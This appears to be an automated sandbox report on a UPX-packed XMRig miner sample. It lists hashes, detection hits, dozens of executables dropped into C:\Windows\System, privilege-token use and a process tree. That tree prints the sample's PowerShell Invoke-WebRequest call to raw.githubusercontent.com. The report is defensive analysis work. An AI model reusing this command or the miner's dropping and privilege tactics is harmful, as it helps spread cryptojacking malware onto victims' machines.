xmrig | 7ae736a812292256971e8f2e35c24151c383968516538fa7a9e67e752f948e06

Analysis

max time kernel
120s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 11:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8c3d9929e7ecc1fc8437882cee4fa740N.exe
Size

1.6MB
MD5

8c3d9929e7ecc1fc8437882cee4fa740
SHA1

7db406b14522009e9c552472c49c78d4817fb577
SHA256

7ae736a812292256971e8f2e35c24151c383968516538fa7a9e67e752f948e06
SHA512

cb77195ad9c6cb6f2d535a5bbbce049e4a1b1a453f41809606cabec4484fb8ec861f34cb090114de9225b1035bb1c6c5783ae69699544a0cc59d5709930f65fb
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkyW1HU/ek5Qk7SW7r+kQQ7dXQARBa5eJ/CtAcS2o5:Lz071uv4BPMkyW10/wKV7hjSe5CtAl5

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 48 IoCs

miner

resource	yara_rule
behavioral2/memory/3432-61-0x00007FF705BE0000-0x00007FF705FD2000-memory.dmp	xmrig
behavioral2/memory/3680-83-0x00007FF7F6040000-0x00007FF7F6432000-memory.dmp	xmrig
behavioral2/memory/3588-94-0x00007FF7A8BC0000-0x00007FF7A8FB2000-memory.dmp	xmrig
behavioral2/memory/5032-98-0x00007FF747BC0000-0x00007FF747FB2000-memory.dmp	xmrig
behavioral2/memory/632-102-0x00007FF637090000-0x00007FF637482000-memory.dmp	xmrig
behavioral2/memory/1756-104-0x00007FF6DA5B0000-0x00007FF6DA9A2000-memory.dmp	xmrig
behavioral2/memory/3592-340-0x00007FF6A7510000-0x00007FF6A7902000-memory.dmp	xmrig
behavioral2/memory/2528-341-0x00007FF676EB0000-0x00007FF6772A2000-memory.dmp	xmrig
behavioral2/memory/4392-343-0x00007FF6E44E0000-0x00007FF6E48D2000-memory.dmp	xmrig
behavioral2/memory/548-344-0x00007FF789800000-0x00007FF789BF2000-memory.dmp	xmrig
behavioral2/memory/4956-346-0x00007FF7EB660000-0x00007FF7EBA52000-memory.dmp	xmrig
behavioral2/memory/3136-347-0x00007FF663720000-0x00007FF663B12000-memory.dmp	xmrig
behavioral2/memory/1716-348-0x00007FF7028D0000-0x00007FF702CC2000-memory.dmp	xmrig
behavioral2/memory/1172-345-0x00007FF7B8BF0000-0x00007FF7B8FE2000-memory.dmp	xmrig
behavioral2/memory/4600-342-0x00007FF7A89F0000-0x00007FF7A8DE2000-memory.dmp	xmrig
behavioral2/memory/4288-105-0x00007FF7BFF10000-0x00007FF7C0302000-memory.dmp	xmrig
behavioral2/memory/1832-103-0x00007FF6FE640000-0x00007FF6FEA32000-memory.dmp	xmrig
behavioral2/memory/3012-99-0x00007FF6B6280000-0x00007FF6B6672000-memory.dmp	xmrig
behavioral2/memory/1244-87-0x00007FF71E560000-0x00007FF71E952000-memory.dmp	xmrig
behavioral2/memory/744-80-0x00007FF705680000-0x00007FF705A72000-memory.dmp	xmrig
behavioral2/memory/3224-72-0x00007FF72AFD0000-0x00007FF72B3C2000-memory.dmp	xmrig
behavioral2/memory/1452-71-0x00007FF664AF0000-0x00007FF664EE2000-memory.dmp	xmrig
behavioral2/memory/4776-52-0x00007FF61E6C0000-0x00007FF61EAB2000-memory.dmp	xmrig
behavioral2/memory/432-42-0x00007FF7AF070000-0x00007FF7AF462000-memory.dmp	xmrig
behavioral2/memory/432-4627-0x00007FF7AF070000-0x00007FF7AF462000-memory.dmp	xmrig
behavioral2/memory/4776-4633-0x00007FF61E6C0000-0x00007FF61EAB2000-memory.dmp	xmrig
behavioral2/memory/3432-4639-0x00007FF705BE0000-0x00007FF705FD2000-memory.dmp	xmrig
behavioral2/memory/1452-4643-0x00007FF664AF0000-0x00007FF664EE2000-memory.dmp	xmrig
behavioral2/memory/3588-4646-0x00007FF7A8BC0000-0x00007FF7A8FB2000-memory.dmp	xmrig
behavioral2/memory/3224-4652-0x00007FF72AFD0000-0x00007FF72B3C2000-memory.dmp	xmrig
behavioral2/memory/3680-4655-0x00007FF7F6040000-0x00007FF7F6432000-memory.dmp	xmrig
behavioral2/memory/5032-4659-0x00007FF747BC0000-0x00007FF747FB2000-memory.dmp	xmrig
behavioral2/memory/1244-4665-0x00007FF71E560000-0x00007FF71E952000-memory.dmp	xmrig
behavioral2/memory/3012-4662-0x00007FF6B6280000-0x00007FF6B6672000-memory.dmp	xmrig
behavioral2/memory/632-4669-0x00007FF637090000-0x00007FF637482000-memory.dmp	xmrig
behavioral2/memory/744-4650-0x00007FF705680000-0x00007FF705A72000-memory.dmp	xmrig
behavioral2/memory/1756-4675-0x00007FF6DA5B0000-0x00007FF6DA9A2000-memory.dmp	xmrig
behavioral2/memory/1832-4673-0x00007FF6FE640000-0x00007FF6FEA32000-memory.dmp	xmrig
behavioral2/memory/4288-4681-0x00007FF7BFF10000-0x00007FF7C0302000-memory.dmp	xmrig
behavioral2/memory/3592-4694-0x00007FF6A7510000-0x00007FF6A7902000-memory.dmp	xmrig
behavioral2/memory/4600-4699-0x00007FF7A89F0000-0x00007FF7A8DE2000-memory.dmp	xmrig
behavioral2/memory/2528-4697-0x00007FF676EB0000-0x00007FF6772A2000-memory.dmp	xmrig
behavioral2/memory/548-4707-0x00007FF789800000-0x00007FF789BF2000-memory.dmp	xmrig
behavioral2/memory/3136-4717-0x00007FF663720000-0x00007FF663B12000-memory.dmp	xmrig
behavioral2/memory/1716-4721-0x00007FF7028D0000-0x00007FF702CC2000-memory.dmp	xmrig
behavioral2/memory/4956-4714-0x00007FF7EB660000-0x00007FF7EBA52000-memory.dmp	xmrig
behavioral2/memory/1172-4710-0x00007FF7B8BF0000-0x00007FF7B8FE2000-memory.dmp	xmrig
behavioral2/memory/4392-4703-0x00007FF6E44E0000-0x00007FF6E48D2000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	2996	powershell.exe
10	2996	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2996	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
432	ajfLtGB.exe
4776	dEBjZjL.exe
3432	UNkAPlB.exe
3588	JqMFOdn.exe
1452	UsLkSwA.exe
3224	wfvuvwx.exe
744	ZnfTSFp.exe
5032	fEAIEGp.exe
3680	cfYezui.exe
3012	XDAzttq.exe
1244	ECDEIrm.exe
632	laXzZHD.exe
1832	fhUDQEl.exe
1756	ybwxYmb.exe
4288	nngjLAb.exe
3592	ttkwowF.exe
2528	OGAxGzt.exe
4600	pMDXgFD.exe
4392	SLFmmoZ.exe
548	gZFFrLR.exe
1172	PLZAyEM.exe
4956	RaCBqyj.exe
3136	QKidVgg.exe
1716	flAMjJH.exe
3584	SdnHEzS.exe
3000	DYMMksL.exe
2536	sLGsftn.exe
3956	JOIdkPD.exe
1416	xxZAniz.exe
1104	oPkMTiN.exe
2172	CBbPAvD.exe
2372	iMnmHyC.exe
2860	HgVsnIt.exe
5116	VtYqTEJ.exe
3464	fbwjejZ.exe
4548	gPySLju.exe
3848	RiIutjt.exe
4888	TcBFtvL.exe
3276	FvpqRyY.exe
4500	kxmUtuh.exe
2456	CbaZzEY.exe
2312	oxMHUjO.exe
3452	DkbSFOw.exe
3832	baYEeEl.exe
4380	rHSEnPL.exe
4352	xMDcPvG.exe
1684	BQxrtHy.exe
2824	yKvJdBB.exe
4968	PlfiBHR.exe
2080	tQagsxJ.exe
3640	PoLQcNF.exe
3596	weaiBga.exe
4872	IYiRFbA.exe
3248	jFekJPh.exe
1096	jSiiBGB.exe
1672	EzsTacs.exe
2100	VnyXXIP.exe
4456	HMIHSym.exe
952	qQxpcXw.exe
4140	tMYRzkZ.exe
3884	haHXUMx.exe
2476	ChMRmkF.exe
4524	zolaIJH.exe
4012	sSCCQEh.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5084-0-0x00007FF775C90000-0x00007FF776082000-memory.dmp	upx
behavioral2/files/0x00070000000234b3-9.dat	upx
behavioral2/files/0x00070000000234b2-11.dat	upx
behavioral2/files/0x00070000000234b7-37.dat	upx
behavioral2/files/0x00070000000234b8-38.dat	upx
behavioral2/files/0x00070000000234b9-41.dat	upx
behavioral2/files/0x00070000000234b6-49.dat	upx
behavioral2/files/0x00080000000234b5-48.dat	upx
behavioral2/memory/3432-61-0x00007FF705BE0000-0x00007FF705FD2000-memory.dmp	upx
behavioral2/files/0x00070000000234ba-62.dat	upx
behavioral2/files/0x00070000000234bc-81.dat	upx
behavioral2/memory/3680-83-0x00007FF7F6040000-0x00007FF7F6432000-memory.dmp	upx
behavioral2/files/0x00070000000234bd-90.dat	upx
behavioral2/memory/3588-94-0x00007FF7A8BC0000-0x00007FF7A8FB2000-memory.dmp	upx
behavioral2/memory/5032-98-0x00007FF747BC0000-0x00007FF747FB2000-memory.dmp	upx
behavioral2/memory/632-102-0x00007FF637090000-0x00007FF637482000-memory.dmp	upx
behavioral2/memory/1756-104-0x00007FF6DA5B0000-0x00007FF6DA9A2000-memory.dmp	upx
behavioral2/files/0x00070000000234c1-116.dat	upx
behavioral2/files/0x00070000000234c2-129.dat	upx
behavioral2/files/0x00070000000234c6-141.dat	upx
behavioral2/files/0x00070000000234c9-164.dat	upx
behavioral2/files/0x00070000000234ce-189.dat	upx
behavioral2/memory/3592-340-0x00007FF6A7510000-0x00007FF6A7902000-memory.dmp	upx
behavioral2/memory/2528-341-0x00007FF676EB0000-0x00007FF6772A2000-memory.dmp	upx
behavioral2/memory/4392-343-0x00007FF6E44E0000-0x00007FF6E48D2000-memory.dmp	upx
behavioral2/memory/548-344-0x00007FF789800000-0x00007FF789BF2000-memory.dmp	upx
behavioral2/memory/4956-346-0x00007FF7EB660000-0x00007FF7EBA52000-memory.dmp	upx
behavioral2/memory/3136-347-0x00007FF663720000-0x00007FF663B12000-memory.dmp	upx
behavioral2/memory/1716-348-0x00007FF7028D0000-0x00007FF702CC2000-memory.dmp	upx
behavioral2/memory/1172-345-0x00007FF7B8BF0000-0x00007FF7B8FE2000-memory.dmp	upx
behavioral2/memory/4600-342-0x00007FF7A89F0000-0x00007FF7A8DE2000-memory.dmp	upx
behavioral2/files/0x00070000000234d0-191.dat	upx
behavioral2/files/0x00070000000234cf-186.dat	upx
behavioral2/files/0x00070000000234cd-184.dat	upx
behavioral2/files/0x00070000000234cc-179.dat	upx
behavioral2/files/0x00070000000234cb-174.dat	upx
behavioral2/files/0x00070000000234ca-169.dat	upx
behavioral2/files/0x00070000000234c8-159.dat	upx
behavioral2/files/0x00070000000234c7-154.dat	upx
behavioral2/files/0x00070000000234c5-144.dat	upx
behavioral2/files/0x00070000000234c4-139.dat	upx
behavioral2/files/0x00070000000234c3-134.dat	upx
behavioral2/files/0x00070000000234c0-119.dat	upx
behavioral2/files/0x00070000000234bf-114.dat	upx
behavioral2/memory/4288-105-0x00007FF7BFF10000-0x00007FF7C0302000-memory.dmp	upx
behavioral2/memory/1832-103-0x00007FF6FE640000-0x00007FF6FEA32000-memory.dmp	upx
behavioral2/files/0x00080000000234af-100.dat	upx
behavioral2/memory/3012-99-0x00007FF6B6280000-0x00007FF6B6672000-memory.dmp	upx
behavioral2/files/0x00070000000234be-96.dat	upx
behavioral2/memory/1244-87-0x00007FF71E560000-0x00007FF71E952000-memory.dmp	upx
behavioral2/memory/744-80-0x00007FF705680000-0x00007FF705A72000-memory.dmp	upx
behavioral2/files/0x00070000000234bb-74.dat	upx
behavioral2/memory/3224-72-0x00007FF72AFD0000-0x00007FF72B3C2000-memory.dmp	upx
behavioral2/memory/1452-71-0x00007FF664AF0000-0x00007FF664EE2000-memory.dmp	upx
behavioral2/files/0x00080000000234b4-57.dat	upx
behavioral2/memory/4776-52-0x00007FF61E6C0000-0x00007FF61EAB2000-memory.dmp	upx
behavioral2/memory/432-42-0x00007FF7AF070000-0x00007FF7AF462000-memory.dmp	upx
behavioral2/files/0x00080000000234ae-7.dat	upx
behavioral2/memory/432-4627-0x00007FF7AF070000-0x00007FF7AF462000-memory.dmp	upx
behavioral2/memory/4776-4633-0x00007FF61E6C0000-0x00007FF61EAB2000-memory.dmp	upx
behavioral2/memory/3432-4639-0x00007FF705BE0000-0x00007FF705FD2000-memory.dmp	upx
behavioral2/memory/1452-4643-0x00007FF664AF0000-0x00007FF664EE2000-memory.dmp	upx
behavioral2/memory/3588-4646-0x00007FF7A8BC0000-0x00007FF7A8FB2000-memory.dmp	upx
behavioral2/memory/3224-4652-0x00007FF72AFD0000-0x00007FF72B3C2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\KotLAAJ.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\wHkFdRk.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\OJklbcG.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\qzDyXhq.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\SaSFbwq.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\CFzrQEj.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\KqJZPnh.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\ASlDkqG.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\YFlfVpV.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\nSuLcSN.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\iZoNQrZ.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\Fasmncz.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\WqhLGgu.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\JAbOFGU.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\spPxqaW.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\svYDfLF.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\GvHmWJT.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\UddSnjy.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\uFnPtsC.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\gloJbbs.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\obLLKzd.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\uhPnFsA.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\EhDzPOv.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\XymSZia.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\XPOPTFG.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\dnDxFQE.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\VZgNDSN.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\UUxdNiB.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\bcswHaX.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\NUDmYgj.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\YruRCRb.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\PMyMFoT.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\UJPpxci.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\lFYMpjv.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\zcKBNab.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\gLLWPuf.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\HUZJyyG.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\QQicjKb.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\lyKWgSI.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\ruDojlz.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\JfaizPg.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\PAmBoXS.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\gZMrLEZ.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\titSrLg.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\hGenuNm.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\ziqcdrj.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\vFhTEGg.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\JWXuwNm.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\wOZOyCf.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\erQXTIH.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\RShjPkc.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\NmFuLat.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\KgcYJoc.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\EjnVyUP.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\yNJgRAJ.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\yZxDbyr.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\fbwjejZ.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\LdAHIfO.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\PtdvGmz.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\fbTYSVB.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\EzsTacs.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\anwWokS.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\KVZoNPa.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe
File created	C:\Windows\System\BxtRMMO.exe	8c3d9929e7ecc1fc8437882cee4fa740N.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2996	powershell.exe
2996	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe
Token: SeLockMemoryPrivilege	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe
Token: SeDebugPrivilege	2996	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5084 wrote to memory of 2996	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	85
PID 5084 wrote to memory of 2996	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	85
PID 5084 wrote to memory of 432	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	86
PID 5084 wrote to memory of 432	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	86
PID 5084 wrote to memory of 4776	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	87
PID 5084 wrote to memory of 4776	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	87
PID 5084 wrote to memory of 3432	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	88
PID 5084 wrote to memory of 3432	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	88
PID 5084 wrote to memory of 3588	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	89
PID 5084 wrote to memory of 3588	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	89
PID 5084 wrote to memory of 1452	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	90
PID 5084 wrote to memory of 1452	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	90
PID 5084 wrote to memory of 3224	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	91
PID 5084 wrote to memory of 3224	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	91
PID 5084 wrote to memory of 744	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	92
PID 5084 wrote to memory of 744	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	92
PID 5084 wrote to memory of 5032	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	93
PID 5084 wrote to memory of 5032	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	93
PID 5084 wrote to memory of 3680	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	94
PID 5084 wrote to memory of 3680	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	94
PID 5084 wrote to memory of 3012	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	95
PID 5084 wrote to memory of 3012	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	95
PID 5084 wrote to memory of 1244	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	96
PID 5084 wrote to memory of 1244	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	96
PID 5084 wrote to memory of 632	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	97
PID 5084 wrote to memory of 632	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	97
PID 5084 wrote to memory of 1832	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	98
PID 5084 wrote to memory of 1832	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	98
PID 5084 wrote to memory of 1756	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	99
PID 5084 wrote to memory of 1756	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	99
PID 5084 wrote to memory of 4288	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	100
PID 5084 wrote to memory of 4288	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	100
PID 5084 wrote to memory of 3592	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	101
PID 5084 wrote to memory of 3592	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	101
PID 5084 wrote to memory of 2528	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	102
PID 5084 wrote to memory of 2528	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	102
PID 5084 wrote to memory of 4600	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	103
PID 5084 wrote to memory of 4600	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	103
PID 5084 wrote to memory of 4392	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	104
PID 5084 wrote to memory of 4392	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	104
PID 5084 wrote to memory of 548	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	105
PID 5084 wrote to memory of 548	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	105
PID 5084 wrote to memory of 1172	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	106
PID 5084 wrote to memory of 1172	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	106
PID 5084 wrote to memory of 4956	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	107
PID 5084 wrote to memory of 4956	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	107
PID 5084 wrote to memory of 3136	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	108
PID 5084 wrote to memory of 3136	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	108
PID 5084 wrote to memory of 1716	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	109
PID 5084 wrote to memory of 1716	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	109
PID 5084 wrote to memory of 3584	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	110
PID 5084 wrote to memory of 3584	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	110
PID 5084 wrote to memory of 3000	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	111
PID 5084 wrote to memory of 3000	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	111
PID 5084 wrote to memory of 2536	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	112
PID 5084 wrote to memory of 2536	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	112
PID 5084 wrote to memory of 3956	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	113
PID 5084 wrote to memory of 3956	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	113
PID 5084 wrote to memory of 1416	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	114
PID 5084 wrote to memory of 1416	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	114
PID 5084 wrote to memory of 1104	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	115
PID 5084 wrote to memory of 1104	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	115
PID 5084 wrote to memory of 2172	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	116
PID 5084 wrote to memory of 2172	5084	8c3d9929e7ecc1fc8437882cee4fa740N.exe	116

C:\Users\Admin\AppData\Local\Temp\8c3d9929e7ecc1fc8437882cee4fa740N.exe
"C:\Users\Admin\AppData\Local\Temp\8c3d9929e7ecc1fc8437882cee4fa740N.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2996
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2996" "2920" "2764" "2924" "0" "0" "2928" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:13208
- C:\Windows\System\ajfLtGB.exe
  C:\Windows\System\ajfLtGB.exe
  2⤵
  - Executes dropped EXE
  PID:432
- C:\Windows\System\dEBjZjL.exe
  C:\Windows\System\dEBjZjL.exe
  2⤵
  - Executes dropped EXE
  PID:4776
- C:\Windows\System\UNkAPlB.exe
  C:\Windows\System\UNkAPlB.exe
  2⤵
  - Executes dropped EXE
  PID:3432
- C:\Windows\System\JqMFOdn.exe
  C:\Windows\System\JqMFOdn.exe
  2⤵
  - Executes dropped EXE
  PID:3588
- C:\Windows\System\UsLkSwA.exe
  C:\Windows\System\UsLkSwA.exe
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Windows\System\wfvuvwx.exe
  C:\Windows\System\wfvuvwx.exe
  2⤵
  - Executes dropped EXE
  PID:3224
- C:\Windows\System\ZnfTSFp.exe
  C:\Windows\System\ZnfTSFp.exe
  2⤵
  - Executes dropped EXE
  PID:744
- C:\Windows\System\fEAIEGp.exe
  C:\Windows\System\fEAIEGp.exe
  2⤵
  - Executes dropped EXE
  PID:5032
- C:\Windows\System\cfYezui.exe
  C:\Windows\System\cfYezui.exe
  2⤵
  - Executes dropped EXE
  PID:3680
- C:\Windows\System\XDAzttq.exe
  C:\Windows\System\XDAzttq.exe
  2⤵
  - Executes dropped EXE
  PID:3012
- C:\Windows\System\ECDEIrm.exe
  C:\Windows\System\ECDEIrm.exe
  2⤵
  - Executes dropped EXE
  PID:1244
- C:\Windows\System\laXzZHD.exe
  C:\Windows\System\laXzZHD.exe
  2⤵
  - Executes dropped EXE
  PID:632
- C:\Windows\System\fhUDQEl.exe
  C:\Windows\System\fhUDQEl.exe
  2⤵
  - Executes dropped EXE
  PID:1832
